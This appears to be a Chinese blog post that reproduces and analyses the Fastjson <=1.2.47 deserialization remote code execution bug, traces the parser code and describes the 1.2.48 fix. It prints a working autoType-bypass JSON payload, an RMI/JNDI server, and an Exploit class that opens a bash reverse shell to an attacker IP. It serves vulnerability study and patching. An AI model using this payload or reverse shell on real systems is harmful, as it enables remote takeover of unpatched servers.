![24f6f122d265ddc0720cfe84d67e15d6.png](https://i-blog.csdnimg.cn/blog_migrate/dbe88a334a3d26ee59702d37c2fadc49.jpeg)
声明
以下仅个人见解,有错误望提出.提到的poc勿滥用,恶意使用造成危害与本人无关.
简介
fastjson是由阿里开发的一种json的解析器和生成器。在2019年6月26日,用户提出issue,存在远程代码执行的版本<=1.2.47.
fastjson下载地址:
fastjsongithub.com环境准备
- jdk 1.6.0.65
- fastjson 1.2.47
实验场景
POC
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
复现采用jndi利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE ,了解jndi注入。
RMIRegistry.java
package deserialize;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec();
return null;
}
private static void exec() {
try {
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999<&1");//反弹shell
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
exec();
}
}
POC.java
package deserialize;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] argv) {
String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}";
JSON.parse(payload);
}
}
- 使用
javac
编译Exploit.java
,得到的Exploit.class
,放入本地或其他服务器(由于rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。 - 运行 RMIRegistry.java。
- 攻击机(192.168.66.13) 运行
netcat -lvvp 9999
监听9999端口,运行POC.java,如图3-1可以看到成功拿到shell。
![9d0ecbe5a88c425709d562cb690b9be0.png](https://i-blog.csdnimg.cn/blog_migrate/a3308bcaa82243cfc2254453f186d11d.jpeg)
漏洞原理
Fastjson中负责处理parse的一般是DefaultJSONParser.parseObject。 fastjson中将带解析的数据用JSONLexer封装。对待解析的数据{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
从左向右解析。
![701eb6d56b5dcc72cc4ef0a031f8efaf.png](https://i-blog.csdnimg.cn/blog_migrate/4ccf0134674795971791a3272dc55e1e.jpeg)
在图4-1中,当解析到@type
时,进入checkAutoType
,传入的参数typeName=java.lang.Class
,跟进checkAutoType方法。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
//省略部分代码
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//省略部分代码
return clazz;
}
在TypeUtils.getClassFromMapping
方法,第一次没有存入cache为null,跟进deserializers.findClass(typeName)
,可以看到该方法通过keyString(这里传入的是java.lang.class)
匹配this.buckets
的className,this.buckets
存在java.lang.class
,所以返回java.lang.class
。
public Class findClass(String keyString) {
for(int i = 0; i < this.buckets.length; ++i) {
IdentityHashMap.Entry bucket = this.buckets[i];
if (bucket != null) {
for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = (Class)key;
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
}
}
}
}
}
return null;
}
回到DefaultJSONParser.parseObject()
方法,继续跟进,如图4-2,通过 config.getDeserializer
获得反序列化的路由类 MiscCodec
。并调用该路用类的deserialze(this, clazz, fieldName)
方法.
![6bb1d81ee24b3caf1398b9a9c31eefec.png](https://i-blog.csdnimg.cn/blog_migrate/73772ab9c507d56429fe3d93758df71a.png)
跟进该方法中,如图4-3,主要调用parser.parse()
方法提取到com.sun.rowset.JdbcRowSetImpl
赋给objVal对象。
![2e18d8e3835c837e40668d9d03e5a973.png](https://i-blog.csdnimg.cn/blog_migrate/2a8f1458cb532a4fa6b6ba1a02cc1f57.jpeg)
继续往下走,如图4-4,调用TypeUtils.loadClass
。
![123a7ceaa82ab0e1cc2619bcccf7a5ee.png](https://i-blog.csdnimg.cn/blog_migrate/86b9849a17c12063318fd9d35cdfcbf1.png)
跟进loadClass(String className, ClassLoader classLoader)
方法,如图4-5,loadClass
调用该方法的重载方法,设置$cache$为true。
![575c2b7f65412b8e9247b6871aca35b6.png](https://i-blog.csdnimg.cn/blog_migrate/87bf36906f88c0e84944963ba68058f6.png)
跟进loadClass
的重载方法,将com.sun.rowset.JdbcRowSetImpl
存入上文在checkAutoType
中提到mappings
中(即缓存中)。
![b961396e298bc71fd02a9af6f0027cd2.png](https://i-blog.csdnimg.cn/blog_migrate/078117244db73d00787fb30af27eaa03.png)
图4-6 至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl
存入mappings中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject()
,解析的第二个键值对如下:
"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
和第一个一样,不同的是,此时的typeName为com.sun.rowset.JdbcRowSetImpl
。
![7620a7960e5e57b0401b3e76bab23533.png](https://i-blog.csdnimg.cn/blog_migrate/13966d80a5e7ed8aa2f1fa40680c47f4.png)
跟进config.checkAutoType(String typeName, Class<?> expectClass, int features)
方法,如图4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl
存入mappings中。如图4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);
获取到com.sun.rowset.JdbcRowSetImpl对象。并返回该对象。(同样绕过checkAutoType中黑名单限制以及autoType开关的检查)
![f7ce3bbed78ff83c701c2d01c4f583ae.png](https://i-blog.csdnimg.cn/blog_migrate/2af7b64400b7be69e479cc7adaadd577.jpeg)
![29364bffaee2df15caa6dcf13cd42998.png](https://i-blog.csdnimg.cn/blog_migrate/77b2c852702d9c3d8e8c5bc19d7a2617.png)
图4-9 和第一次一样,如图4-10调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer
。
![e96a826c162759e69821e3360ee15b23.png](https://i-blog.csdnimg.cn/blog_migrate/e8c1afa83f68dece06d9e8c1078c4373.png)
图4-10 跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)
,首先有一些asm操作,接着调用如deserialze
方法,如图4-11。
![6231a80d933a00ab11c48c12285fea8e.png](https://i-blog.csdnimg.cn/blog_migrate/2d95809827df40bdba3fdb689f14c239.jpeg)
在setValue
中通过method.invoke(object, value)
反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit
方法 .
![31c41de1281bf8acca91ad454fc32f58.png](https://i-blog.csdnimg.cn/blog_migrate/2979b8e6ff9632906dbec05543c34aae.png)
跟进setAutoCommit
中,如图-13调用this.connect()
![8d7a5481597b995df94c307e1e8a9efb.png](https://i-blog.csdnimg.cn/blog_migrate/f01d1b2aef9304722c7203f4bee74107.jpeg)
this.connect()
对成员变量dataSourceName进行lookup,成功利用jndi注入。
![b4dd1a924b0aa2deac4f4dbf6ccfe010.png](https://i-blog.csdnimg.cn/blog_migrate/faf8847336809877124ef23f63ecf356.jpeg)
调用链:
Exec:620,Runtime //命令执行
Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数
parseObject:368,DefaultJSONParser //解析传入的json字符串
官方修复
官方在1.2.48版本更改以下代码进行修复,推荐升级到最新版本。
- 黑名单修复,增加8409640769019589119(java.lang.Class) 1459860845934817624(java.net.InetAddress)两个类的黑名单。
![7c1da85caa9216370ad214812e6c6684.png](https://i-blog.csdnimg.cn/blog_migrate/cdef75b02d752856671a42be0499ac3f.jpeg)
- MiscCodec.java文件对cache缓存设置成false
![3752a9dbcfbe44ad6a528fddac9c6d60.png](https://i-blog.csdnimg.cn/blog_migrate/3aafd707270597db3b0fe41b4f1affd8.jpeg)
- ParserConfig.java文件对checkAutoType()进行了相关策略调整 .
![ba0d27565057626d73714e2e2a2475d1.png](https://i-blog.csdnimg.cn/blog_migrate/5c414c0f75656dd36674cc04e106b8ac.jpeg)
参考文章
Fastjson <=1.2.47 远程代码执行漏洞分析